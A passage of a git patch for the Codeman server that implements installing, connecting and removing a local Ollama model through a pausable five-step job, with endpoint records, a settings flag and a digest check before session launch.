From 3af94df4f643517f2587fa98895a8edc90c0dd6a Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH] feat(local-model): install a model from the server, with a job that can pause POST /api/local-model/install, cancel, resume and runtime, and DELETE /api/local-model. The GET gains an `install` object the window polls. All of it is experimental and admin only in multi-user mode. One job of five steps (runtime, model, verify, agent, connect) driven by a pure reducer over explicit state, step and transition tables. One job at a time (409). The consent is bound to the size shown: `acknowledgedBytes` must be the server's own total (409 size-changed). A job a server restart interrupted comes back paused and never continues without a click. Every failure is a code with one next step. The model is judged against the budget the runtime measured before it is downloaded. A missing coding agent is installed with its stock command through the shared runner, audited. Connect writes one endpoint record under the reserved id through mutateCustomModelHosts() and switches customModelEndpointsEnabled on through mutateSettingsFile(), remembering the flag's value. The model's digest is stored and read again at boot and before every session start on that endpoint; a changed model refuses the launch. Remove answers 409 with the session names while a live session uses the endpoint, undoes the two writes first, restores the flag only when this feature switched it on and no other endpoint is saved, and deletes only inside local-model/. The coding agent stays. The server starts the runtime at boot when a model is installed and stops it at shutdown beside stopDeepSeekWeb(). Co-Authored-By: Claude Fable 5.1 --- src/local-model/connect.ts | 149 +- src/local-model/harness-facts.ts | 27 +- src/local-model/install-job.ts | 1466 +++++++++++++- src/local-model/state-store.ts | 243 ++- src/types/local-model-install.ts | 26 +- src/web/routes/local-model-routes.ts | 210 +- src/web/routes/session-routes.ts | 11 + src/web/schemas.ts | 37 + src/web/sensitive-path.ts | 5 + src/web/server.ts | 18 +- test/local-model-connect.test.ts | 417 ++++ test/local-model-harness-facts.test.ts | 91 +- test/local-model-install-job.test.ts | 700 +++++++ test/local-model-install-service.test.ts | 1899 ++++++++++++++++++ test/local-model-state-store.test.ts | 270 +++ test/routes/local-model-launch-guard.test.ts | 304 +++ test/routes/local-model-routes.test.ts | 573 +++++- 17 files changed, 6290 insertions(+), 156 deletions(-) create mode 100644 test/local-model-connect.test.ts create mode 100644 test/local-model-install-job.test.ts create mode 100644 test/local-model-install-service.test.ts create mode 100644 test/local-model-state-store.test.ts create mode 100644 test/routes/local-model-launch-guard.test.ts diff --git a/src/local-model/connect.ts b/src/local-model/connect.ts index c98e0e69..a5001f9e 100644 --- a/src/local-model/connect.ts +++ b/src/local-model/connect.ts @@ -2,9 +2,6 @@ * @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint * record, the settings flag, and the checks around them. * - * CONTRACT STAGE: the two constants are final. Every function below has its final signature - * and a body that throws; the bodies are written next. - * * These are the ONLY two writes of the local model outside its own folder: * 1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`: * `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:', @@ -23,15 +20,20 @@ * switched it on AND no other endpoint is saved. * - The model's digest is compared again before a session starts and at boot * (`compareModelDigest()`): a model that changed under the same name is not launched. + * - The record is MANAGED while the state file records it as ours (`isManagedLocalEndpoint()`): + * the endpoint routes then refuse to edit or delete it and the discovery sweep leaves it + * alone, so its `models` stays the one model the install job checked. */ +import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js'; import type { CustomModelHost } from '../custom-model-hosts.js'; -import type { LocalModelErrorCode } from '../types.js'; +import { getErrorMessage, type LocalModelErrorCode } from '../types.js'; +import { CustomModelHostSchema } from '../web/schemas.js'; +import { mutateSettingsFile } from '../web/settings-writer.js'; +import { readLocalModelState } from './state-store.js'; -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +/** The key of the settings flag that shows saved endpoints in the Run menu and runs the discovery sweep. */ +const ENDPOINTS_FLAG = 'customModelEndpointsEnabled'; /** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */ export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama'; @@ -50,7 +52,15 @@ export interface LocalEndpointInput { /** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */ export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost { - return notImplemented('buildLocalEndpointRecord', input); + return { + id: LOCAL_MODEL_ENDPOINT_ID, + label: LOCAL_MODEL_ENDPOINT_LABEL, + baseUrl: `http://127.0.0.1:${input.port}`, + authStyle: 'bearer', + models: [input.modelId], + defaultModelId: input.modelId, + defaultContextLength: input.context, + }; } export interface ConnectLocalModelInput extends LocalEndpointInput { @@ -75,14 +85,88 @@ export type ConnectResult = } | { ok: false; code: Extract; detail?: string }; -/** Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` with its message as `detail`. */ +/** + * Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` + * with its message as `detail`. + * + * The record goes first, with the "is the id free" check in the same serialized step as the + * write, so a record that is somebody else's is found before anything is changed. Should the + * flag then fail to save, a record this call ADDED is taken out again: the pair is never left + * half done, and a later attempt starts from the same place. + */ export async function connectLocalModel(input: ConnectLocalModelInput): Promise { - return notImplemented('connectLocalModel', input); + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input)); + if (!parsed.success) { + return { ok: false, code: 'connect-failed', detail: `The endpoint record is not valid: ${parsed.error.message}` }; + } + const record: CustomModelHost = parsed.data; + + let outcome: 'added' | 'replaced' | 'taken'; + try { + outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => { + const index = hosts.findIndex((host) => host.id === record.id); + if (index === -1) return { hosts: [...hosts, record], result: 'added' }; + if (!input.ours) return { result: 'taken' }; + const next = [...hosts]; + next[index] = record; + return { hosts: next, result: 'replaced' }; + }); + } catch (err) { + return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) }; + } + if (outcome === 'taken') return { ok: false, code: 'endpoint-id-taken' }; + + let flagBefore: boolean; + try { + const { before } = await mutateSettingsFile((current) => + current[ENDPOINTS_FLAG] === true ? undefined : { ...current, [ENDPOINTS_FLAG]: true } + ); + flagBefore = before[ENDPOINTS_FLAG] === true; + } catch (err) { + if (outcome === 'added') await removeLocalEndpoint().catch(() => {}); + return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) }; + } + return { ok: true, flagWasEnabled: input.flagWasEnabled ?? flagBefore }; +} + +/** + * Puts our record back when it is gone, and does nothing when a record with our id exists + * (it is never replaced here). For the start of the server while a model is installed: a + * config-backup restore can bring back an older endpoint store without our record while the + * model, the runtime and the state file stay. The settings flag is NOT touched: a person who + * switched it off meant to. Resolves true when the record was added. Never throws. + */ +export async function ensureLocalEndpoint(input: LocalEndpointInput): Promise { + const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input)); + if (!parsed.success) return false; + const record: CustomModelHost = parsed.data; + try { + return await mutateCustomModelHosts((hosts) => + hosts.some((host) => host.id === record.id) ? { result: false } : { hosts: [...hosts, record], result: true } + ); + } catch { + // A store that must not be overwritten stays as it is; a session start then says what is wrong. + return false; + } +} + +/** Takes our record out of the store. Resolves with how many OTHER endpoints are saved. */ +async function removeLocalEndpoint(): Promise { + return mutateCustomModelHosts((hosts) => { + const others = hosts.filter((host) => host.id !== LOCAL_MODEL_ENDPOINT_ID); + return others.length === hosts.length ? { result: others.length } : { hosts: others, result: others.length }; + }); } /** Moves our record to another port (the answer to "Use another port" once connected). A missing record is not an error. */ export async function moveLocalEndpoint(port: number): Promise { - return notImplemented('moveLocalEndpoint', port); + await mutateCustomModelHosts((hosts) => { + const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID); + if (index === -1) return { result: undefined }; + const next = [...hosts]; + next[index] = { ...next[index], baseUrl: `http://127.0.0.1:${port}` }; + return { hosts: next, result: undefined }; + }); } /** @@ -90,12 +174,28 @@ export async function moveLocalEndpoint(port: number): Promise { * (`flagWasEnabled` is false) and no other endpoint is left. Idempotent. */ export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise { - return notImplemented('disconnectLocalModel', input); + const othersLeft = await removeLocalEndpoint(); + if (input.flagWasEnabled || othersLeft > 0) return; + await mutateSettingsFile((current) => + current[ENDPOINTS_FLAG] === true ? { ...current, [ENDPOINTS_FLAG]: false } : undefined + ); } /** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */ export function isLocalModelEndpointId(id: string): boolean { - return notImplemented('isLocalModelEndpointId', id); + return id === LOCAL_MODEL_ENDPOINT_ID; +} + +/** + * Whether the saved endpoint `id` is the record THIS feature wrote and still owns: the id is + * the reserved one and the state file records a connection under it. A record with the + * reserved id that somebody made by hand (before this feature, or while nothing is installed) + * is not managed, so its owner can still edit and delete it. Never throws. + */ +export async function isManagedLocalEndpoint(id: string): Promise { + if (!isLocalModelEndpointId(id)) return false; + const state = await readLocalModelState(); + return state.connection?.endpointId === id; } /** @@ -106,7 +206,11 @@ export function sessionNamesUsingEndpoint( sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>, endpointId: string = LOCAL_MODEL_ENDPOINT_ID ): string[] { - return notImplemented('sessionNamesUsingEndpoint', sessions, endpointId); + const names: string[] = []; + for (const session of sessions) { + if (session.customModel?.endpointId === endpointId) names.push(session.name); + } + return names; } /** @@ -120,5 +224,18 @@ export function compareModelDigest( stored: string | undefined, current: string | undefined ): 'same' | 'changed' | 'unknown' { - return notImplemented('compareModelDigest', stored, current); + const a = normalizeDigest(stored); + const b = normalizeDigest(current); + if (!a || !b) return 'unknown'; + return a === b ? 'same' : 'changed'; +} + +/** A digest as it is compared: lowercase hex, without the `sha256:` some listings put in front. */ +function normalizeDigest(digest: string | undefined): string | undefined { + if (typeof digest !== 'string') return undefined; + const hex = digest + .trim() + .toLowerCase() + .replace(/^sha256:/, ''); + return hex === '' ? undefined : hex; } diff --git a/src/local-model/harness-facts.ts b/src/local-model/harness-facts.ts index b86403e4..143826f1 100644 --- a/src/local-model/harness-facts.ts +++ b/src/local-model/harness-facts.ts @@ -10,8 +10,11 @@ * - reports `label` from the registry entry and `installed` from the same probe the page * render and `GET /api/clis` use (`utils/cli-installed-probes.ts`), asked once per build; * - reports `installable` only for a STOCK CLI that is not installed and whose install - * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`). - * Stock only, because the install runner never executes a custom entry's command; + * command for this platform needs no administrator rights (`installCommandNeedsAdmin()`), + * and then carries that command as `installCommand`, so the consent screen can print the + * literal text. The command is the COMPILED stock one (`stockInstallCommand()`), never the + * one a `clis.json` override supplies: it is exactly what the install job would run, and + * an override file must not be able to change that; * - supplies `acceptsModelId` (`cliAcceptsCustomModelId()`), the test a custom model launch * applies to the model id before anything is written. * @@ -33,7 +36,8 @@ import type { CliEntry } from '../config/cli-registry/types.js'; import { matchesPattern } from '../config/cli-registry/patterns.js'; -import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js'; +import { stockInstallCommand } from '../cli-install-runner.js'; +import { getCli } from '../config/cli-registry/registry.js'; import { buildCustomModelInjection, type CustomModelEndpoint } from '../custom-model-injection.js'; import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js'; import { getErrorMessage, type HarnessFact, type LocalModelCatalog } from '../types.js'; @@ -48,7 +52,11 @@ export interface HarnessFactsDeps { * `installed` passes its own. */ probeInstalled: () => Promise<(entry: CliEntry) => boolean>; - /** The install command the registry holds for this platform. Read as text, never run. */ + /** + * The install command the install job would run for this CLI on this platform: the compiled + * stock command, `undefined` for a CLI that is not stock or has none here. Read as text, + * never run. + */ installCommandFor: (entry: CliEntry) => string | undefined; } @@ -58,7 +66,7 @@ export const defaultHarnessFactsDeps: HarnessFactsDeps = { const stockAvailability = await probeStockCliAvailability(); return (entry) => isCliEntryInstalled(entry, stockAvailability); }, - installCommandFor: resolveInstallCommandForPlatform, + installCommandFor: (entry) => stockInstallCommand(entry.id as string), }; /** @@ -147,17 +155,20 @@ export async function buildHarnessFacts( console.warn(`[local-model] Probing ${entry.label} failed, reading it as not installed: ${getErrorMessage(err)}`); } - let installable = false; + let installCommand: string | undefined; if (!installed && entry.stock) { const command = resolved.installCommandFor(entry); - installable = command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command); + if (command !== undefined && command.trim() !== '' && !installCommandNeedsAdmin(command)) { + installCommand = command; + } } facts.push({ cli: row.cli, label: entry.label, installed, - installable, + installable: installCommand !== undefined, + ...(installCommand !== undefined ? { installCommand } : {}), acceptsModelId: (modelId: string) => cliAcceptsCustomModelId(entry, modelId), }); } diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts index b518836a..7d688f74 100644 --- a/src/local-model/install-job.ts +++ b/src/local-model/install-job.ts @@ -2,11 +2,6 @@ * @fileoverview The local model install job: its state table, the pure reducer over it, the * pure view of it, and the service that drives it. * - * CONTRACT STAGE: the three tables (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, - * `INSTALL_TRANSITIONS`) are final and are what the reducer's table-driven test iterates. - * Every function below has its final signature and a body that throws; the bodies are written - * next. - * * ONE job at a time. The job is five steps in a fixed order (`LOCAL_MODEL_INSTALL_STEPS`: * runtime, model, verify, agent, connect; `agent` is left out when the coding agent is * installed). Its state is one of five (`LocalModelInstallState`), stored in the state file. @@ -74,45 +69,120 @@ * server's own total. * - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a * `HarnessFact`. + * + * The service (`createLocalModelService()`), beyond the reducer: + * - Verbs run one at a time on one queue, so two installs sent together cannot both find the + * state free. The view is not on that queue: the window polls it every second. + * - An interrupted step is never recorded as failed, whatever its last call answered (an + * aborted request looks like a network error): the job looks at its own signal before it + * writes `failed`. Cancel writes `paused` itself; a server that is stopping writes nothing, + * so the file still says `installing` and the next start reads that as a paused job. + * - A download's progress is kept in memory, written to the state file every few seconds and + * when the job pauses or fails. The view shows the live figure and its speed. + * - What blocks a session on an installed model (another program on the port, a runtime that + * keeps stopping, a model whose digest changed) is found live and shown as `error` on the + * view. It is never stored, and the state stays `installed`. + * - `launchRefusalMessage()` is what both session launch paths ask before they start a + * session on the managed endpoint: the digest is read again for every launch. + * - With a model installed, `boot()` puts the saved endpoint record back when it is gone (a + * config-backup restore can take it away), starts the runtime unless it was stopped, and + * reads the digest again. */ -import type { - HardwareFacts, - HarnessFact, - LocalModelAction, - LocalModelCatalog, - LocalModelConflict, - LocalModelDeveloperTools, - LocalModelErrorCode, - LocalModelInstallError, - LocalModelInstallRequest, - LocalModelInstallState, - LocalModelInstallStep, - LocalModelInstallView, - LocalModelRemoveRequest, - LocalModelResumeRequest, - LocalModelRuntimePin, - LocalModelRuntimeRequest, - LocalModelStateFile, - Recommendation, - RecommendOptions, +import { appendAdminAudit } from '../web/admin-audit.js'; +import { + CLI_INSTALL_TIMEOUT_MS, + forgetResolvedCli, + runInstallCommand, + stockInstallCommand, + tryBeginCliInstall, + type CliInstallResult, + type RunInstallCommandOptions, +} from '../cli-install-runner.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { getDataDir } from '../config/instance.js'; +import { getLocalModelCatalog } from '../config/local-model-catalog.js'; +import { readCustomModelHosts } from '../custom-model-hosts.js'; +import { + getErrorMessage, + LOCAL_MODEL_ERROR_LABELS, + LOCAL_MODEL_ERROR_NEXT, + LOCAL_MODEL_INSTALL_LABELS, + LOCAL_MODEL_INSTALL_STEPS, + type Candidate, + type CandidateHarness, + type HardwareFacts, + type HarnessFact, + type LocalModelAction, + type LocalModelCatalog, + type LocalModelConflict, + type LocalModelDeveloperTools, + type LocalModelErrorCode, + type LocalModelInstallError, + type LocalModelInstallMessage, + type LocalModelInstallRequest, + type LocalModelInstallState, + type LocalModelInstallStep, + type LocalModelInstallView, + type LocalModelProgress, + type LocalModelRemoveRequest, + type LocalModelResumeRequest, + type LocalModelRuntimePin, + type LocalModelRuntimeRequest, + type LocalModelStateFile, + type Recommendation, + type RecommendOptions, } from '../types.js'; -import type { CliInstallResult, RunInstallCommandOptions } from '../cli-install-runner.js'; -import type { ConnectLocalModelInput, ConnectResult } from './connect.js'; -import type { OllamaTarget, PullOptions, PullResult, VerifyResult } from './ollama-client.js'; -import type { LocalModelPaths } from './paths.js'; -import type { - ChooseRuntimePortOptions, - RemoveLocalModelFilesOptions, - RuntimeInstallOptions, - RuntimeInstallResult, - RuntimeSupervisor, +import { isCliEntryInstalled, probeStockCliAvailability } from '../utils/cli-installed-probes.js'; +import { + compareModelDigest, + connectLocalModel, + disconnectLocalModel, + ensureLocalEndpoint, + isLocalModelEndpointId, + LOCAL_MODEL_ENDPOINT_ID, + moveLocalEndpoint, + type ConnectLocalModelInput, + type ConnectResult, + type LocalEndpointInput, +} from './connect.js'; +import { checkDeveloperTools } from './developer-tools.js'; +import { formatGb } from './format.js'; +import { readHardware } from './hardware.js'; +import { buildHarnessFacts } from './harness-facts.js'; +import { + deleteModel, + getRuntimeVersion, + listOpenAiModels, + listRunning, + pullModel, + readModelDigest, + verifyModel, + type OllamaPsModel, + type OllamaTarget, + type PullOptions, + type PullResult, + type VerifyResult, +} from './ollama-client.js'; +import { localModelPaths, type LocalModelPaths } from './paths.js'; +import { modelFitsBudget, recommend } from './recommend.js'; +import { + chooseRuntimePort, + createRuntimeSupervisor, + ensureRuntimeInstalled, + isRuntimeInstalled, + OLLAMA_RUNTIME_PIN, + removeLocalModelFiles, + RUNTIME_PORT_FIRST, + type ChooseRuntimePortOptions, + type RemoveLocalModelFilesOptions, + type RuntimeInstallOptions, + type RuntimeInstallResult, + type RuntimeStartResult, + type RuntimeStatus, + type RuntimeSupervisor, } from './runtime.js'; - -/** Marks a body the contract stage left unwritten. */ -function notImplemented(what: string, ..._args: unknown[]): never { - throw new Error(`${what} is not implemented yet`); -} +import { IDLE_LOCAL_MODEL_STATE, mutateLocalModelState, readLocalModelState } from './state-store.js'; // ---------- The state table ---------- @@ -336,17 +406,96 @@ export const INSTALL_TRANSITIONS: Readonly< /** The steps a job runs, in order: all of `LOCAL_MODEL_INSTALL_STEPS`, without `agent` when the coding agent is installed. Pure. */ export function jobSteps(input: { agentInstalled: boolean }): LocalModelInstallStep[] { - return notImplemented('jobSteps', input); + return LOCAL_MODEL_INSTALL_STEPS.filter((step) => step !== 'agent' || !input.agentInstalled); } +/** A byte count as a download reports it: a whole number that is not negative. */ +const isByteCount = (value: number): boolean => Number.isSafeInteger(value) && value >= 0; + /** * The state file after `event`. Pure: no IO, no clock (`updatedAt` is the state store's * business). Refuses an event the transition table does not list for the current state by * returning `current` itself. Keeps `runtime` and `connection` across a new install, because * what they record is still on disk; `remove` drops everything. + * + * An event that is listed but cannot be applied is refused the same way: an `install` whose + * steps are not a job's, a `progress` that is not two byte counts, a `step-done` on a state + * without a step, and a last `step-done` on a job that has no runtime recorded. */ export function reduceInstallJob(current: LocalModelStateFile, event: InstallJobEvent): LocalModelStateFile { - return notImplemented('reduceInstallJob', current, event); + if (INSTALL_TRANSITIONS[current.state][event.type] === undefined) return current; + switch (event.type) { + case 'install': { + const steps = event.steps.filter((step, index) => event.steps.indexOf(step) === index); + if ( + steps.length === 0 || + steps.length !== event.steps.length || + steps.some((step) => !LOCAL_MODEL_INSTALL_STEPS.includes(step)) + ) { + return current; + } + // What the replaced job left of ANOTHER model is deleted before the new one is pulled. + const pending = current.model && current.model.id !== event.model.id ? current.model.id : current.replacedModelId; + const replacedModelId = pending !== undefined && pending !== event.model.id ? pending : undefined; + return { + schema: 1, + state: 'installing', + step: steps[0], + steps, + model: { id: event.model.id, label: event.model.label, context: event.model.context }, + ...(replacedModelId ? { replacedModelId } : {}), + cli: { id: event.cli.id, label: event.cli.label }, + ...(current.runtime ? { runtime: current.runtime } : {}), + ...(current.connection ? { connection: current.connection } : {}), + }; + } + case 'progress': { + if (!isByteCount(event.completedBytes) || !isByteCount(event.totalBytes)) return current; + return { ...current, progress: { completedBytes: event.completedBytes, totalBytes: event.totalBytes } }; + } + case 'step-done': { + const steps = current.steps ?? []; + const index = current.step ? steps.indexOf(current.step) : -1; + if (index === -1) return current; + if (index < steps.length - 1) { + const { progress: _progress, ...rest } = current; + return { ...rest, step: steps[index + 1] }; + } + // The last step: the model is connected. + if (!current.model || !current.cli || !current.runtime) return current; + return { + schema: 1, + state: 'installed', + model: current.model, + cli: current.cli, + runtime: current.runtime, + ...(current.loaded ? { loaded: current.loaded } : {}), + ...(current.connection ? { connection: current.connection } : {}), + }; + } + case 'fail': + return { + ...current, + state: 'failed', + error: { + code: event.code, + ...(event.vars && Object.keys(event.vars).length > 0 ? { vars: event.vars } : {}), + ...(event.detail ? { detail: event.detail } : {}), + ...(event.nextModelId ? { nextModelId: event.nextModelId } : {}), + }, + }; + case 'cancel': + return { ...current, state: 'paused' }; + case 'restart': + // Only a running job changes: the restart interrupted it, and it waits for a click. + return current.state === 'installing' ? { ...current, state: 'paused' } : current; + case 'resume': { + const { error: _error, ...rest } = current; + return { ...rest, state: 'installing' }; + } + case 'remove': + return { schema: 1, state: 'idle' }; + } } // ---------- The view ---------- @@ -373,14 +522,141 @@ export interface InstallLiveFacts { folder: string; } +/** An error code with its sentence, its slots and its one next step. Pure. */ +export function buildInstallError( + code: LocalModelErrorCode, + extra: { vars?: Record; detail?: string; nextModel?: { modelId: string; modelLabel: string } } = {} +): LocalModelInstallError { + const next = LOCAL_MODEL_ERROR_NEXT[code]; + return { + code, + message: { + text: LOCAL_MODEL_ERROR_LABELS[code], + ...(extra.vars && Object.keys(extra.vars).length > 0 ? { vars: extra.vars } : {}), + }, + next, + ...(next === 'next-model' && extra.nextModel ? { nextModel: extra.nextModel } : {}), + ...(extra.detail ? { detail: extra.detail } : {}), + }; +} + +/** + * What blocks a session in state `installed`, found live and never stored: another program + * on the port, a runtime that keeps stopping, a model that changed. `undefined` when nothing + * does, which includes a runtime the person stopped. Pure. + */ +export function installedBlocker( + state: LocalModelStateFile, + live: InstallLiveFacts +): LocalModelInstallError | undefined { + if (state.state !== 'installed') return undefined; + if (!live.running && live.portInUse) { + return buildInstallError('port-in-use', { vars: { port: String(state.runtime?.port ?? '') } }); + } + if (!live.running && live.gaveUp) return buildInstallError('runtime-stopped'); + if (live.digest === 'changed') return buildInstallError('model-changed'); + return undefined; +} + /** The actions the server accepts right now: the state row's list narrowed by what is live. Pure. */ export function allowedActions(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelAction[] { - return notImplemented('allowedActions', state, live); + const actions = INSTALL_STATE_TABLE[state.state].actions; + if (state.state !== 'installed') return [...actions]; + const blocked = installedBlocker(state, live) !== undefined; + return actions.filter((action) => { + if (action === 'start') return !live.running; + if (action === 'stop') return live.running; + if (action === 'start-session') return live.running && !blocked; + return true; + }); +} + +/** How far a download is, as the window prints it. Pure. */ +function buildProgress( + progress: { completedBytes: number; totalBytes: number }, + bytesPerSecond: number | undefined +): LocalModelProgress { + const view: LocalModelProgress = { + completedBytes: progress.completedBytes, + totalBytes: progress.totalBytes, + completedGb: formatGb(progress.completedBytes), + totalGb: formatGb(progress.totalBytes), + }; + if (bytesPerSecond !== undefined && Number.isFinite(bytesPerSecond) && bytesPerSecond >= 0) { + view.bytesPerSecond = Math.round(bytesPerSecond); + view.mbPerSecond = String(Math.round(bytesPerSecond / 1_000_000)); + const left = progress.totalBytes - progress.completedBytes; + if (bytesPerSecond > 0 && left >= 0) view.secondsLeft = Math.ceil(left / bytesPerSecond); + } + return view; } /** The `install` object of the GET. Pure: every size text comes from `formatGb()`, every sentence from `LOCAL_MODEL_INSTALL_LABELS`. */ export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelInstallView { - return notImplemented('buildInstallView', state, live); + const runtimeDownload = live.runtimeInstalled ? 0 : live.pin.bytes; + const view: LocalModelInstallView = { + state: state.state, + running: live.running, + developerTools: live.developerTools, + runtime: { + version: live.pin.version, + installed: live.runtimeInstalled, + downloadBytes: runtimeDownload, + downloadGb: formatGb(runtimeDownload), + unpackedGb: formatGb(live.pin.unpackedBytes), + }, + folder: live.folder, + actions: allowedActions(state, live), + }; + if (state.state === 'idle') return view; + + if (state.model) { + view.model = { id: state.model.id, label: state.model.label }; + view.context = state.model.context; + } + if (state.cli) { + view.cli = state.cli.id; + view.cliLabel = state.cli.label; + } + if (state.runtime) view.port = state.runtime.port; + + if (state.state === 'installed') { + if (state.loaded) { + view.loaded = { + context: state.loaded.context, + memoryBytes: state.loaded.sizeBytes, + memoryGb: formatGb(state.loaded.sizeBytes), + onGpu: state.loaded.sizeVramBytes === state.loaded.sizeBytes, + }; + } + if (state.connection) view.endpointId = state.connection.endpointId; + const blocker = installedBlocker(state, live); + if (blocker) view.error = blocker; + return view; + } + + if (state.step) view.step = state.step; + if (state.steps) view.steps = [...state.steps]; + // A download whose total is not known yet has nothing to show. + if (state.progress && state.progress.totalBytes > 0) { + view.progress = buildProgress(state.progress, state.state === 'installing' ? live.bytesPerSecond : undefined); + } + if (state.state === 'failed' && state.error) { + view.error = buildInstallError(state.error.code, { + vars: state.error.vars, + detail: state.error.detail, + nextModel: live.nextModel, + }); + } + return view; +} + +/** A sentence of the install as plain English text, its slots filled. For an API error message and the log. Pure. */ +export function formatInstallMessage(message: LocalModelInstallMessage): string { + const vars = message.vars ?? {}; + return message.text.replace(/\{([a-zA-Z]+)\}/g, (slot, key: string) => + Object.prototype.hasOwnProperty.call(vars, key) ? vars[key] : slot + ); } // ---------- The service ---------- @@ -431,6 +707,8 @@ export interface LocalModelServiceDeps { verifyModel: (target: OllamaTarget, modelId: string, context: number, signal?: AbortSignal) => Promise; readModelDigest: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise; listOpenAiModels: (target: OllamaTarget, signal?: AbortSignal) => Promise; + listRunning: (target: OllamaTarget, signal?: AbortSignal) => Promise; + getRuntimeVersion: (target: OllamaTarget, signal?: AbortSignal) => Promise; deleteModel: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise; // src/local-model/developer-tools.ts checkDeveloperTools: () => Promise; @@ -445,14 +723,21 @@ export interface LocalModelServiceDeps { // src/local-model/connect.ts connectLocalModel: (input: ConnectLocalModelInput) => Promise; moveLocalEndpoint: (port: number) => Promise; + /** Puts our endpoint record back when it is gone (after a config-backup restore). True when it was added. */ + ensureLocalEndpoint: (input: LocalEndpointInput) => Promise; disconnectLocalModel: (input: { flagWasEnabled: boolean }) => Promise; + /** Whether a saved endpoint already has the reserved id (asked before a first install, so the answer comes before the download). */ + isEndpointIdTaken: () => Promise; // src/local-model/state-store.ts readState: () => Promise; mutateState: ( fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined ) => Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }>; pin: LocalModelRuntimePin; - paths: LocalModelPaths; + /** Default `localModelPaths(pin.version)`, built when it is first needed. */ + paths?: LocalModelPaths; + /** The clock of the progress throttle and the digest re-read, in milliseconds. */ + now: () => number; } /** The install as the routes and the server see it. One per process. */ @@ -462,13 +747,20 @@ export interface LocalModelService { /** * Whether a session may be started on the saved endpoint `endpointId` right now. `undefined`: * yes, which is also the answer for every endpoint that is not this feature's. Otherwise the - * error that refuses the launch, in this order: `runtime-not-running` (the runtime child - * Codeman started is not alive, so whatever answers on the port is not ours), - * `port-in-use`, `runtime-stopped`, `model-changed` (the digest is read again and is not the - * stored one). The session launch path asks this before it starts a session with the - * managed endpoint, and `boot()` asks it once. Never throws. + * error that refuses the launch. While the runtime child Codeman started is not alive + * (whatever answers on the port then is not ours), the reason is the one that is known: + * `port-in-use`, `runtime-stopped`, else `runtime-not-running`. While it runs, the digest is + * read again: `model-changed` when it is not the stored one or the model is gone. The session + * launch path asks this before it starts a session with the managed endpoint. Never throws. */ launchRefusal(endpointId: string): Promise; + /** + * `launchRefusal()` as one plain English sentence, plus the one check it does not make: on + * the managed endpoint only the model that was installed and checked may be started, so a + * model somebody pulled through the runtime's port is not launched. `undefined`: start it. + * What the session launch paths call. Never throws. + */ + launchRefusalMessage(endpointId: string, modelId: string): Promise; /** What the GET passes to `recommend()`: the stored measured total and the runtime download that is still needed. */ recommendOptions(): Promise; /** `POST /api/local-model/install`. Answers once the job is STARTED; the job runs on in the server. */ @@ -481,28 +773,1082 @@ export interface LocalModelService { runtime(request: LocalModelRuntimeRequest): Promise; /** * `DELETE /api/local-model`. `liveSessionNames` is what `sessionNamesUsingEndpoint()` found: - * not empty answers 409 `sessions-open`. Else: stop the runtime, remove our endpoint record, - * restore the settings flag when this feature switched it on and no other endpoint is left, - * delete the runtime and the private home and (when asked) the models. The coding agent stays. + * not empty answers 409 `sessions-open` while a connection of ours exists. Else: stop the + * runtime, remove our endpoint record, restore the settings flag when this feature switched + * it on and no other endpoint is left, delete the runtime and the private home and (when + * asked) the models. The coding agent stays. A refused write of the endpoint store or of the + * settings REJECTS, before any file is deleted. */ - remove(request: LocalModelRemoveRequest, liveSessionNames: readonly string[]): Promise; + remove( + request: LocalModelRemoveRequest, + liveSessionNames: readonly string[], + actor?: LocalModelActor + ): Promise; /** - * Called once when the server starts. An interrupted job becomes `paused`. An installed - * runtime that was not stopped is started (an own orphan on the port is adopted or - * replaced, another listener is `port-in-use`) and the digest is read again. Never throws, - * and never keeps the server from starting. + * Called once when the server starts. An interrupted job becomes `paused`. With a model + * installed: the saved endpoint record is put back when it is gone, a runtime that was not + * stopped is started (an own orphan on the port is adopted or replaced, another listener is + * `port-in-use`) and the digest is read again. Never throws, and never keeps the server + * from starting. */ boot(): Promise; /** Called when the server stops, beside `stopDeepSeekWeb()`: aborts a job in flight (it reads `paused` at the next boot) and stops the runtime. */ shutdown(): Promise; + /** What the runtime supervisor reports through `onChange`: a new pid after a restart, or the budget line. Stored, never thrown. */ + onRuntimeChange(status: RuntimeStatus): void; + /** Resolves once no job is in flight. For `shutdown()` and for tests. */ + idle(): Promise; +} + +/** How often a download's progress is written to the state file. The window reads the live figure, not the file. */ +const PROGRESS_FLUSH_MS = 5_000; 